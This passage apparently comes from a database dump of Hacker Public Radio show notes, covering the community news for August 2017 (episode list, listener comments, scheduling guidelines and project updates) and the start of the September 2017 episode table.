href=\"https://hackerpublicradio.org/eps.php?id=2356\" target=\"_blank\">2356</a></strong></td>\n    <td>Mon</td>\n    <td>2017-08-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2356\" target=\"_blank\">Safely enabling ssh in the default Raspbian Image</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2357\" target=\"_blank\">2357</a></strong></td>\n    <td>Tue</td>\n    <td>2017-08-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2357\" target=\"_blank\">Air Soft Mini Howto</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2358\" target=\"_blank\">2358</a></strong></td>\n    <td>Wed</td>\n    <td>2017-08-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2358\" target=\"_blank\">Amateur radio round table #2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2359\" target=\"_blank\">2359</a></strong></td>\n    <td>Thu</td>\n    <td>2017-08-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2359\" target=\"_blank\">Android ROM and PAIN</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2360\" target=\"_blank\">2360</a></strong></td>\n    <td>Fri</td>\n    <td>2017-08-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2360\" target=\"_blank\">Tradeoffs in the US Health Care System</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2361\" target=\"_blank\">2361</a></strong></td>\n    <td>Mon</td>\n    <td>2017-08-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2361\" target=\"_blank\">Information Underground: Working Out</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2362\" target=\"_blank\">2362</a></strong></td>\n    <td>Tue</td>\n    <td>2017-08-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2362\" target=\"_blank\">Raspbian X86 on Lenovo x61s</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2363\" target=\"_blank\">2363</a></strong></td>\n    <td>Wed</td>\n    <td>2017-08-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2363\" target=\"_blank\">Cancelling my TV licence</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2364\" target=\"_blank\">2364</a></strong></td>\n    <td>Thu</td>\n    <td>2017-08-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2364\" target=\"_blank\">Managing Your Android with AirDroid</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2365\" target=\"_blank\">2365</a></strong></td>\n    <td>Fri</td>\n    <td>2017-08-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2365\" target=\"_blank\">Rolling out a radio-based internet service in rural England</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2366\" target=\"_blank\">2366</a></strong></td>\n    <td>Mon</td>\n    <td>2017-08-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2366\" target=\"_blank\">Making Bramble Jelly</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2367\" target=\"_blank\">2367</a></strong></td>\n    <td>Tue</td>\n    <td>2017-08-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2367\" target=\"_blank\">How I create and post a show to HPR</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2368\" target=\"_blank\">2368</a></strong></td>\n    <td>Wed</td>\n    <td>2017-08-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2368\" target=\"_blank\">Every cloude has a silver lining</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\" target=\"_blank\">mirwi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2369\" target=\"_blank\">2369</a></strong></td>\n    <td>Thu</td>\n    <td>2017-08-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2369\" target=\"_blank\">Little Meters</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-August/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 45 comments in total.</p>\n<p>There are 9 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2278#comments\" target=\"_blank\">hpr2278</a></strong>\n(2017-04-26) \"<em>Some supplementary Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#9\" target=\"_blank\">Comment 9</a>:\nclacke on 2017-08-05:\n\"A new `ls` alternative\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#10\" target=\"_blank\">Comment 10</a>:\nJonathan Kulp on 2017-08-06:\n\"Awkward!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#11\" target=\"_blank\">Comment 11</a>:\nDave Morriss on 2017-08-06:\n\"Not sure about &#39;exa&#39;\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2295#comments\" target=\"_blank\">hpr2295</a></strong>\n(2017-05-19) \"<em>MX Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2295#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-08-26:\n\"Nice litle Distro Review\"</li></ul><br/>\n</li><li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2310#comments\" target=\"_blank\">hpr2310</a></strong>\n(2017-06-09) \"<em>Kdenlive Part 6 Workflow and Conclusion. </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://www.hackerpublicradio.org/eps.php?id=2310#1\" target=\"_blank\">Comment 1</a>:\nGeddes on 2017-08-02:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2326#comments\" target=\"_blank\">hpr2326</a></strong>\n(2017-07-03) \"<em>HPR Community News for June 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2326#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2017-08-06:\n\"hprep tag\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2326#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-08-07:\n\"#hprep\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2342#comments\" target=\"_blank\">hpr2342</a></strong>\n(2017-07-25) \"<em>Wherein our hero fails to repair a garage door.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2342#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2017-08-04:\n\"safety first!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2342#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2017-08-22:\n\"Phew!\"</li></ul><br/>\n</li></ul>\n<p>There are 36 comments on 14 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2349#comments\" target=\"_blank\">hpr2349</a></strong>\n(2017-08-03) \"<em>Customizing my bash prompt</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2349#1\" target=\"_blank\">Comment 1</a>:\nx1101 on 2017-08-04:\n\"prompt for other users\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2349#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2017-08-04:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2349#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2017-08-12:\n\"Great show - most enjoyable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2350#comments\" target=\"_blank\">hpr2350</a></strong>\n(2017-08-04) \"<em>Ahuka Insurance - Understanding The Marketplace</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2350#1\" target=\"_blank\">Comment 1</a>:\nCanadianbob on 2017-08-13:\n\"Health Insurance Market\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2350#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-08-13:\n\"That&#39;s why I recorded this\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=2351#comments\" target=\"_blank\">hpr2351</a></strong>\n(2017-08-07) \"<em>HPR Community News for July 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.org/eps.php?id=2351#1\" target=\"_blank\">Comment 1</a>:\nMad Sweeney on 2017-08-08:\n\"Sean N&oacute;s Free Software Song made me happy\"</li><li><a href=\"https://hobbypublicradio.org/eps.php?id=2351#2\" target=\"_blank\">Comment 2</a>:\nKrayon on 2017-08-29:\n\"AMAZING Free Software song!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2353#comments\" target=\"_blank\">hpr2353</a></strong>\n(2017-08-09) \"<em>RoboThermometer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\" target=\"_blank\">Epicanis</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.com/eps.php?id=2353#1\" target=\"_blank\">Comment 1</a>:\nb--yeezi on 2017-08-10:\n\"On my to-do list\"</li><li><a href=\"https://hobbypublicradio.com/eps.php?id=2353#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2017-08-11:\n\"Another Great Episode\"</li><li><a href=\"https://hobbypublicradio.com/eps.php?id=2353#3\" target=\"_blank\">Comment 3</a>:\nIvan &quot;Epicanis&quot; Privaci (pseud.) on 2017-08-12:\n\"Glad to be back!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2354#comments\" target=\"_blank\">hpr2354</a></strong>\n(2017-08-10) \"<em>Night Sounds in Rural Tennessee</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2354#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-08-14:\n\"Some impressive ambient sounds\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2354#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-08-16:\n\"hpr2354 :: Night Sounds in Rural Tennessee\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2354#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2017-08-17:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2354#4\" target=\"_blank\">Comment 4</a>:\nJonathan Kulp on 2017-08-17:\n\"Mystery bugs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2354#5\" target=\"_blank\">Comment 5</a>:\nWindigo on 2017-08-23:\n\"More nostalgia\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2356#comments\" target=\"_blank\">hpr2356</a></strong>\n(2017-08-14) \"<em>Safely enabling ssh in the default Raspbian Image</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2356#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-08-15:\n\"good coffee\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2360#comments\" target=\"_blank\">hpr2360</a></strong>\n(2017-08-18) \"<em>Tradeoffs in the US Health Care System</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2360#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-08-19:\n\"A better starting point\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2361#comments\" target=\"_blank\">hpr2361</a></strong>\n(2017-08-21) \"<em>Information Underground: Working Out</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2361#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-08-21:\n\"Citation needed\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2361#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2017-08-23:\n\"Fantastic!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2361#3\" target=\"_blank\">Comment 3</a>:\ndeepgeek on 2017-08-24:\n\"Cost Correction\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2362#comments\" target=\"_blank\">hpr2362</a></strong>\n(2017-08-22) \"<em>Raspbian X86 on Lenovo x61s</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2362#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2017-08-25:\n\"Raspbian X86 On Atom-powered Netbook\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2362#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-08-26:\n\"Raspbian X86 On Atom-powered Netbook\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2363#comments\" target=\"_blank\">hpr2363</a></strong>\n(2017-08-23) \"<em>Cancelling my TV licence</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2363#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2017-08-23:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2363#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-08-24:\n\"I see your point, but...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2363#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2017-08-25:\n\"TV Detectors\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2363#4\" target=\"_blank\">Comment 4</a>:\nTony Hughes on 2017-08-26:\n\"Cancelling my TV licence\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2363#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2017-08-26:\n\"Thanks for the input\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2364#comments\" target=\"_blank\">hpr2364</a></strong>\n(2017-08-24) \"<em>Managing Your Android with AirDroid</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2364#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2017-08-26:\n\"Managing Your Android with AirDroid\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2364#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2017-08-26:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2365#comments\" target=\"_blank\">hpr2365</a></strong>\n(2017-08-25) \"<em>Rolling out a radio-based internet service in rural England</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2365#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2017-08-26:\n\"Rolling out a radio-based internet service in rural England\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2365#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2017-08-26:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2365#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2017-08-29:\n\"Thanks for the comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2366#comments\" target=\"_blank\">hpr2366</a></strong>\n(2017-08-28) \"<em>Making Bramble Jelly</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2366#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2017-08-19:\n\"hpr2366 Making Bramble Jelly\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2366#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-08-19:\n\"I adjusted your text\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2369#comments\" target=\"_blank\">hpr2369</a></strong>\n(2017-08-31) \"<em>Little Meters</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2369#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2017-08-30:\n\"Noooo...don&#39;t stop buying and reviewing meters\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2369#2\" target=\"_blank\">Comment 2</a>:\nDave Lee on 2017-08-31:\n\"Excellent show\"</li></ul><br/>\n</li></ul>\n<h2>Any other business</h2>\n<ul>\n    <li><b>Comment System</b>\n	<p>As mentioned on the\n	<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-August/thread.html\">mailing\n	list</a>, we are working on a new comment system to replace the failing one we have now. We\'ll be reporting\n	progress on the mailing list.\n	</p>\n    </li>\n    <li><b>Filling the queue</b>\n	<p> The queue got very low recently but is now looking healthier. Thanks to\n	everyone for their contributions. However, it would be better in\n	future if shows could be spread out more to leave room for new contributors and to help prevent the\n	<em>feast/famine</em> problem. See the Scheduling Guidelines on the <a href=\"https://hackerpublicradio.org/calendar.php\">Calendar page</a>:\n	</p>\n	<ol>\n	    <li>You must have have your audio recording ready to upload before you pick a slot.</li>\n	    <li>Always try and fill any free slots that are available in the upcoming week.</li>\n	    <li>If the queue is filling up then please consider leaving some slots free for new contributors.</li>\n	    <li>If you have a non urgent show then find a empty week and schedule it then.</li>\n	    <li>If you are uploading a series of shows, consider scheduling one every two weeks.</li>\n	</ol><br/>\n    </li>\n    <li><b>Amateur Radio Round Table</b>\n	<p>The current proposal is to record the next show on 2017-09-13 at 18:00 UTC.<br/>\n	Please let Michael (mirwi) know via the HPR mailing list if you\'d like to attend.</p>\n    </li>\n    <li><b>Tags and Summaries</b>\n    <p>In the past month we have had contributions from \n	<a\n	    href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\">Epicanis</a>\n	and <a\n	    href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>\n	and I (<a\n	    href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave\n	    Morriss</a>) have added a few tags &amp; summaries myself. Many\n	thanks to all contributors.</p>\n    <p>Currently there are 950 shows which need summaries or tags to be\n	added. All contributions to this project are most welcome. See the\n	current status and instructions for making your own contribution\n	at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">\"Shows without a summary and/or tags\"</a>.</p>\n    </li> \n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2391,'2017-10-02','HPR Community News for September 2017',4875,'HPR Volunteers talk about shows released and comments posted in September 2017','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2370\" target=\"_blank\">2370</a></strong></td>\n    <td>Fri</td>\n    <td>2017-09-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2370\" target=\"_blank\">Who is HortonWorks?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2371\" target=\"_blank\">2371</a></strong></td>\n    <td>Mon</td>\n    <td>2017-09-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2371\" target=\"_blank\">HPR Community News for August 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2372\" target=\"_blank\">2372</a></strong></td>\n    <td>Tue</td>\n    <td>2017-09-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2372\" target=\"_blank\">Docbook</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2373\" target=\"_blank\">2373</a></strong></td>\n    <td>Wed</td>\n    <td>2017-09-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2373\" target=\"_blank\">PCGen</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2374\" target=\"_blank\">2374</a></strong></td>\n    <td>Thu</td>\n    <td>2017-09-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2374\" target=\"_blank\">How to Make Sauerkraut</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2375\" target=\"_blank\">2375</a></strong></td>\n    <td>Fri</td>\n    <td>2017-09-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2375\" target=\"_blank\">Competing Interests</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2376\" target=\"_blank\">2376</a></strong></td>\n    <td>Mon</td>\n    <td>2017-09-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2376\" target=\"_blank\">Information Underground: 21st Century Superstar</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\" target=\"_blank\">deepgeek</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2377\" target=\"_blank\">2377</a></strong></td>\n    <td>Tue</td>\n    <td>2017-09-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2377\" target=\"_blank\">A Rambling Drive Into Work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2378\" target=\"_blank\">2378</a></strong></td>\n    <td>Wed</td>\n    <td>2017-09-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2378\" target=\"_blank\">Why Docbook?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2379\" target=\"_blank\">2379</a></strong></td>\n    <td>Thu</td>\n    <td>2017-09-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2379\" target=\"_blank\">sending a text message from the command line</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2380\" target=\"_blank\">2380</a></strong></td>\n    <td>Fri</td>\n    <td>2017-09-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2380\" target=\"_blank\">Raspbian X86 on P4 Tower</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2381\" target=\"_blank\">2381</a></strong></td>\n    <td>Mon</td>\n    <td>2017-09-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2381\" target=\"_blank\">Benefits of a tabletop</a></td>\n    <td><a 